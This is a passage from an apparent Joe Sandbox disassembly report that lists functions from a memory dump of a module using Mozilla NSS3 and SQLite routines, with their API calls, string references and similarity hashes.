memcpy.VCRUNTIME140(?,6C73AAA8,00000060), ref: 6C636E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C636E38

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C636E76
TlsGetValue.KERNEL32 ref: 6C63726F
EnterCriticalSection.KERNEL32(?), ref: 6C637283

Strings

!, xrefs: 6C637123

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 8d4b6f0357a8ee53c29764634f51b7bcf2066b93549dc8fad2cc3ac393f73bc1
Instruction ID: e7070d058e25b8dc0270602386ce539dfc2b734540e998fdcf40238c4dfdbe07
Opcode Fuzzy Hash: 8d4b6f0357a8ee53c29764634f51b7bcf2066b93549dc8fad2cc3ac393f73bc1
Instruction Fuzzy Hash: BA728DB5D05228DBDF60CF28CC8879ABBB5BF49304F1451A9D80DA7741EB31AA84CF95

Function 6C658A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C658A58

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C658AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6C658ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6C658B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C658B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6C658B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6C658B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6C658B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6C658BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C658BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C658BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C658C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C658C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C658CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C658CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C658D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C658D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C658D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C658D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C658DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6C658DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6C73D864), ref: 6C658E39

Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C66F0C8
Part of subcall function 6C66F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C66F122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6C658E5B

Part of subcall function 6C66BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C61E708,00000000,00000000,00000004,00000000), ref: 6C66BE6A
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6204DC,?), ref: 6C66BE7E
Part of subcall function 6C66BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C66BEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C73D8C4), ref: 6C658E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6C658EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6C658EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6C658ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C658EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C658EF4
free.MOZGLUE(00000000), ref: 6C658EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C658F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C658F1C

Strings

tFVPj, xrefs: 6C658EC4

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: d098c023e9e6e9936c7db05d27bf05002ae92e1fefe14d2a5a7788e25573ab52
Instruction ID: 0c6607923edeac326916c78509453a8980146495360c3cc64761cf63c3fcf397
Opcode Fuzzy Hash: d098c023e9e6e9936c7db05d27bf05002ae92e1fefe14d2a5a7788e25573ab52
Instruction Fuzzy Hash: FBD138B19643009BE7108F24DC80BAB77E8EF5A348F604A2AEC55C2E61F735D564C66F

Function 6C5B8460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6C5B84FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6C5B88BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6C5B88CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B88E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6C5B88F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B895F
sqlite3_randomness.NSS3(00000008,?), ref: 6C5B8914

Part of subcall function 6C5A31C0: sqlite3_initialize.NSS3 ref: 6C5A31D6

sqlite3_randomness.NSS3(00000004,?), ref: 6C5B8A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B8A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5B8A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B8B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5B8B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6C5B8BAD

Strings

cannot limit WAL size: %s, xrefs: 6C5B9188

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_randomness$memcmpsqlite3_initialize
String ID: cannot limit WAL size: %s
API String ID: 2554290823-3503406041
Opcode ID: 6707c389340ddfbed0f7bfd3cd23a4c1febb646940eba7133dd611637019f734
Instruction ID: 43456122a0993fc9b7c5138b3a3d8991dad1c7da3b0cfe019228100ef96de52c
Opcode Fuzzy Hash: 6707c389340ddfbed0f7bfd3cd23a4c1febb646940eba7133dd611637019f734
Instruction Fuzzy Hash: 50928E71A08702DFD704CF29C894A5ABBF1FF88318F18892DE99997761D734E845CB92

Function 6C67AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C67ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C67ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C67ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C67AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C67ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67ADF0

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C67B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C67B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C67B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67B40C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 27bddd984693c0260547a29cc0070546f42a36236d7a01f1ac3ed7af6297d3b8
Instruction ID: 53f918ea0c9602adf434bdddad13d49235c77451af5b65664301d6483fde2ff3
Opcode Fuzzy Hash: 27bddd984693c0260547a29cc0070546f42a36236d7a01f1ac3ed7af6297d3b8
Instruction Fuzzy Hash: 8722B271904300AFE720CF14CC44B9A77E1AF8530CF24896CE9595B792E772E859CBAE

Function 6C604420 Relevance: 37.9, APIs: 10, Strings: 11, Instructions: 1186stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C604EE3

Strings

second, xrefs: 6C604BCA
40f-21a-21d, xrefs: 6C6044D0
an index, xrefs: 6C604D53, 6C604E86
-, xrefs: 6C604FBA
weekday , xrefs: 6C6054AB
w=`l, xrefs: 6C6047FB
a CHECK constraint, xrefs: 6C604D62, 6C604D6D, 6C604E95, 6C604EA0
w=`l, xrefs: 6C604431, 6C604E25, 6C60533D, 6C605536, 6C6055A0, 6C604A83, 6C604A99, 6C605313, 6C605325, 6C604CFC, 6C604A8C, 6C6051AC, 6C6048B9, 6C6046CD, 6C604786, 6C6048D5, 6C60490D, 6C605404, 6C605411, 6C60541E, 6C605365, 6C60537B, 6C60536E, 6C60542A, 6C605466, 6C6053C9, 6C605211, 6C604BA1, 6C605013, 6C60521D, 6C604C69, 6C60528B, 6C604691, 6C605058, 6C604E5E, 6C604FA4, 6C604FEB, 6C604FDF, 6C604F9D, 6C604E77, 6C604EDF, 6C604576, 6C604F90
start of , xrefs: 6C60517A
non-deterministic use of %s() in %s, xrefs: 6C604D71, 6C604EA4
a generated column, xrefs: 6C604D58, 6C604E8B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strlen
String ID: -$40f-21a-21d$a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$second$start of $w=`l$w=`l$weekday
API String ID: 39653677-2303066791
Opcode ID: f5535faffeb19dab8a959e4597ec286877b345c25ba719ec7d38bf5f46022918
Instruction ID: 26aae96c30de4db5756b4d548b8de4212caf27d5d0f0e8e4cdc5a48599d57d97
Opcode Fuzzy Hash: f5535faffeb19dab8a959e4597ec286877b345c25ba719ec7d38bf5f46022918
Instruction Fuzzy Hash: 59A223307087848FC729CF24C1507AAB7E2EF96318F14865DE8D5ABB82E775D886C749

Function 6C602560 Relevance: 37.3, APIs: 10, Strings: 11, Instructions: 533stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6025B2
memset.VCRUNTIME140(00000000,00000000,00000079), ref: 6C6025DE
sqlite3_snprintf.NSS3(-0000000F,00000068,%s-shm,?), ref: 6C602604
sqlite3_initialize.NSS3 ref: 6C60269D
sqlite3_uri_parameter.NSS3(?,readonly_shm), ref: 6C6026D6
sqlite3_initialize.NSS3 ref: 6C60289F
EnterCriticalSection.KERNEL32(?), ref: 6C6029CD
LeaveCriticalSection.KERNEL32(?), ref: 6C602A26
sqlite3_free.NSS3(?), ref: 6C602B30

Strings

rl, xrefs: 6C602900
Prl, xrefs: 6C602A51, 6C602A90, 6C602B0A, 6C602B66, 6C602BB0, 6C602BE0, 6C602C1A
winOpenShm, xrefs: 6C602B7E
rl, xrefs: 6C6027CB
readonly_shm, xrefs: 6C6026CE
winShmMap1, xrefs: 6C602AB0
winFileSize, xrefs: 6C602A7D
0rl, xrefs: 6C602AE9
winShmMap2, xrefs: 6C602BD0
%s-shm, xrefs: 6C6025FD
winShmMap3, xrefs: 6C602C08, 6C602C3D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_initialize$memsetsqlite3_freesqlite3_snprintfsqlite3_uri_parameterstrlen
String ID: rl$ rl$%s-shm$0rl$Prl$readonly_shm$winFileSize$winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 3867263885-988199417
Opcode ID: d09de9a7d0435c5785d05066a8a5c1fcc2ef56d7f5466b3a1f0c071a4c94b389
Instruction ID: 0d6601bc1cc7c32bc1078e1c3ef3341cd91fea178ad00548a70c34b21f61c456
Opcode Fuzzy Hash: d09de9a7d0435c5785d05066a8a5c1fcc2ef56d7f5466b3a1f0c071a4c94b389
Instruction Fuzzy Hash: 4C12CC71B043159FDB09CF25D988A6A77B1FF8A314F148538E849ABB50DB30EC09CBA5

Function 6C5FECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5FED38

Part of subcall function 6C594F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C594FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C5FEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C5FEFE4

Part of subcall function 6C6BDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C595001,?,00000003,00000000), ref: 6C6BDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C5FF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C5FF129
sqlite3_mprintf.NSS3(optimize), ref: 6C5FF1D1
sqlite3_free.NSS3(?), ref: 6C5FF368

Strings

optimize, xrefs: 6C5FF199, 6C5FF1CC, 6C5FF211
offsets, xrefs: 6C5FEFAF, 6C5FEFDF, 6C5FF01F
simple, xrefs: 6C5FED79
unicode61, xrefs: 6C5FEDB5
snippet, xrefs: 6C5FEF05, 6C5FEF37, 6C5FEF7C
fts4, xrefs: 6C5FF2AD
fts3_tokenizer, xrefs: 6C5FEE1A, 6C5FEEA8
fts3tokenize, xrefs: 6C5FF30F
porter, xrefs: 6C5FED97
fts4aux, xrefs: 6C5FECF9
matchinfo, xrefs: 6C5FF04F, 6C5FF082, 6C5FF0C2, 6C5FF0F2, 6C5FF124, 6C5FF169
fts3, xrefs: 6C5FF247

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 2a64fbbdb56ef5573d4d213d59af7a2ed1ead067a1d2413396ac958fd401b2fa
Instruction ID: 81da036f6b5106969496f282287524cd30b404fabd01ccbdfd0c0a1601f57cfd
Opcode Fuzzy Hash: 2a64fbbdb56ef5573d4d213d59af7a2ed1ead067a1d2413396ac958fd401b2fa
Instruction Fuzzy Hash: 8702B3B1B043418BE7089E719C8573B36E57BC5708F14863CD86A87F45EB75E846CB92

Function 6C63A4D0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 501stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(6C6128AD,pkcs11:,00000007), ref: 6C63A501
PORT_Strdup_Util.NSS3(6C6128AD), ref: 6C63A514

Part of subcall function 6C670F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C612AF5,?,?,?,?,?,6C610A1B,00000000), ref: 6C670F1A
Part of subcall function 6C670F10: malloc.MOZGLUE(00000001), ref: 6C670F30
Part of subcall function 6C670F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C670F42

strchr.VCRUNTIME140(00000000,0000003A), ref: 6C63A529
PK11_GetInternalKeySlot.NSS3 ref: 6C63A60D
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C63A74B
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C63A777
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A80C
memcmp.VCRUNTIME140(?,00000001,00000000), ref: 6C63A82B
CERT_DestroyCertificate.NSS3(00000000), ref: 6C63A952
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A9C3

Part of subcall function 6C660960: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,?,6C63A8F5,00000000,?,00000010), ref: 6C66097E
Part of subcall function 6C660960: memcmp.VCRUNTIME140(?,00000000,6C63A8F5,00000010), ref: 6C66098D

free.MOZGLUE(00000000), ref: 6C63AB18
strchr.VCRUNTIME140(?,00000040), ref: 6C63AB40
free.MOZGLUE(?), ref: 6C63ABE1

Part of subcall function 6C634170: TlsGetValue.KERNEL32(?,6C6128AD,00000000,?,6C63A793,?,00000000), ref: 6C63419F
Part of subcall function 6C634170: EnterCriticalSection.KERNEL32(0000001C), ref: 6C6341AF
Part of subcall function 6C634170: PR_Unlock.NSS3(?), ref: 6C6341D4

Strings

model, xrefs: 6C63A8CF
object, xrefs: 6C63A5CF
manufacturer, xrefs: 6C63A8A2
token, xrefs: 6C63A875
pkcs11:, xrefs: 6C63A4FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: strlen$Errorfreememcmpstrchr$CertificateCriticalDestroyEnterInternalK11_L_strncasecmpSectionSlotStrdup_UnlockUtilValuemallocmemcpy
String ID: manufacturer$model$object$pkcs11:$token
API String ID: 916065474-709816111
Opcode ID: 396d74319dfb36899945d5acbf99881d97714515f7b3959d504968d61529857b
Instruction ID: b449701beb8a522b7adf4ef94f1a4a33454034a8a4b126ecf2e8aa5cbce2d4c3
Opcode Fuzzy Hash: 396d74319dfb36899945d5acbf99881d97714515f7b3959d504968d61529857b
Instruction Fuzzy Hash: B002A5B5D002249BFF119B759C41BAA7675AF0230CF1410A4E80DA6B53FB319E58DF9A

Function 6C64EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C658C9F,00000000,00000000,?), ref: 6C64EA29

Part of subcall function 6C670840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6708B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C658C9F), ref: 6C64EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C73C6C4), ref: 6C64EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C64EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C64EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6C658C9F), ref: 6C64EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C64EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C64EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6C73C754), ref: 6C64EC6D
free.MOZGLUE(?), ref: 6C64EC7F
free.MOZGLUE(00000000), ref: 6C64EC90
free.MOZGLUE(?), ref: 6C64ECA1
free.MOZGLUE(00000000), ref: 6C64ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C64ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6C6591D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C6591E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6591F2
free.MOZGLUE(00000000), ref: 6C6591FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: 9662712f5b08e55f6be4f5e91105b5979543c77363bdffbbe91abfc1ccd9d6f3
Instruction ID: c390528bee65c2027cfc08129e49bd73c946130deaa24f6c165571ecda40275a
Opcode Fuzzy Hash: 9662712f5b08e55f6be4f5e91105b5979543c77363bdffbbe91abfc1ccd9d6f3
Instruction Fuzzy Hash: 14A1E6B5A012055BFF00CA69DD81BBEB7A8EB45348F20C439E826D7BC0E625D945C7DB

Function 6C60EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60EF63

Part of subcall function 6C6187D0: PORT_NewArena_Util.NSS3(00000800,6C60EF74,00000000), ref: 6C6187E8
